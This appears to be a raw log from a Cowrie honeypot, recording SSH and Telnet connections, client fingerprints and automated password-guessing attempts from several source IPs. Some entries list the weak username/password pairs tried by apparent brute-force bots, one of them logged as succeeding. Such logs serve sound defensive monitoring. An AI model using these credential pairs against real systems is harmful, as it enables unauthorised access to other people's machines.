{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59694,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e16459f86b6","protocol":"ssh","message":"New connection: 91.92.40.36:59694 (10.17.0.5:22) [session: 6e16459f86b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:02.285676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:03.990790Z","src_ip":"91.92.40.36","session":"6e16459f86b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:03.994465Z","src_ip":"91.92.40.36","session":"6e16459f86b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:04.328422Z","src_ip":"91.92.40.36","session":"c2ba6ecc7dca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.21265912055969,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:05.394324Z","src_ip":"128.199.8.54","session":"d8753282d155","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10748,"dst_ip":"10.17.0.5","dst_port":22,"session":"4234771b0e40","protocol":"ssh","message":"New connection: 91.92.40.36:10748 (10.17.0.5:22) [session: 4234771b0e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:06.384219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:08.581377Z","src_ip":"91.92.40.36","session":"4234771b0e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:08.595352Z","src_ip":"91.92.40.36","session":"4234771b0e40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10772,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ec9625172fa","protocol":"ssh","message":"New connection: 91.92.40.36:10772 (10.17.0.5:22) [session: 6ec9625172fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:11.210876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:14.145774Z","src_ip":"91.92.40.36","session":"6ec9625172fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:14.160848Z","src_ip":"91.92.40.36","session":"6ec9625172fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.82857704162598,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:15.616983Z","src_ip":"128.199.8.54","session":"80f5abfd6001","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.28092074394226,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:16.266584Z","src_ip":"128.199.8.54","session":"b4f44faa2127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10862,"dst_ip":"10.17.0.5","dst_port":22,"session":"c535c55f72ae","protocol":"ssh","message":"New connection: 91.92.40.36:10862 (10.17.0.5:22) [session: c535c55f72ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:16.562806Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:18.462899Z","src_ip":"91.92.40.36","session":"6e16459f86b6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:20.367573Z","src_ip":"91.92.40.36","session":"c535c55f72ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:20.371897Z","src_ip":"91.92.40.36","session":"c535c55f72ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"123456","message":"login attempt [anna/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:20.963903Z","src_ip":"91.92.40.36","session":"4234771b0e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.8","message":"Connection lost after 21.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:24.126525Z","src_ip":"91.92.40.36","session":"6e16459f86b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10914,"dst_ip":"10.17.0.5","dst_port":22,"session":"42dc3bc26125","protocol":"ssh","message":"New connection: 91.92.40.36:10914 (10.17.0.5:22) [session: 42dc3bc26125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:24.506290Z"}
{"eventid":"cowrie.session.closed","duration":"19.8","message":"Connection lost after 19.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:26.187626Z","src_ip":"91.92.40.36","session":"4234771b0e40","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:28.476768Z","src_ip":"91.92.40.36","session":"42dc3bc26125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:28.480039Z","src_ip":"91.92.40.36","session":"42dc3bc26125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":56760,"dst_ip":"159.203.135.109","dst_port":22,"session":"42a1d47d0b99","protocol":"ssh","message":"New connection: 129.146.243.24:56760 (159.203.135.109:22) [session: 42a1d47d0b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:28.681506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:28.685984Z","src_ip":"129.146.243.24","session":"42a1d47d0b99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:28.800063Z","src_ip":"129.146.243.24","session":"42a1d47d0b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"1234","message":"login attempt [bot/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:29.185506Z","src_ip":"91.92.40.36","session":"6ec9625172fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream2","password":"stream2","message":"login attempt [stream2/stream2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:29.193720Z","src_ip":"129.146.243.24","session":"42a1d47d0b99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:30.290364Z","src_ip":"129.146.243.24","session":"42a1d47d0b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46842,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e997cb0f16c","protocol":"ssh","message":"New connection: 91.92.40.36:46842 (10.17.0.5:22) [session: 2e997cb0f16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:31.552912Z"}
{"eventid":"cowrie.session.closed","duration":"23.3","message":"Connection lost after 23.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:34.535617Z","src_ip":"91.92.40.36","session":"6ec9625172fa","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:35.781456Z","src_ip":"91.92.40.36","session":"2e997cb0f16c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:35.785405Z","src_ip":"91.92.40.36","session":"2e997cb0f16c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"armin","password":"armin","message":"login attempt [armin/armin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:36.136341Z","src_ip":"91.92.40.36","session":"c535c55f72ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.8","message":"Connection lost after 22.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:39.393013Z","src_ip":"91.92.40.36","session":"c535c55f72ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47466,"dst_ip":"10.17.0.5","dst_port":22,"session":"35ca62e3d253","protocol":"ssh","message":"New connection: 91.92.40.36:47466 (10.17.0.5:22) [session: 35ca62e3d253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:43.749966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:45.366961Z","src_ip":"91.92.40.36","session":"35ca62e3d253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:45.370310Z","src_ip":"91.92.40.36","session":"35ca62e3d253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123","message":"login attempt [runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:46.107040Z","src_ip":"91.92.40.36","session":"42dc3bc26125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10302,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6c96e41bc7d","protocol":"ssh","message":"New connection: 91.92.40.36:10302 (10.17.0.5:22) [session: b6c96e41bc7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:46.785909Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":36446,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d80c72335be","protocol":"telnet","message":"New connection: 103.249.87.183:36446 (159.203.135.109:23) [session: 6d80c72335be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:47.194045Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:47.989700Z","src_ip":"91.92.40.36","session":"2e997cb0f16c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":52840,"dst_ip":"159.203.135.109","dst_port":22,"session":"910c90aee729","protocol":"ssh","message":"New connection: 152.32.214.226:52840 (159.203.135.109:22) [session: 910c90aee729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:49.358947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:19:49.364605Z","src_ip":"152.32.214.226","session":"910c90aee729","protocol":"ssh"}
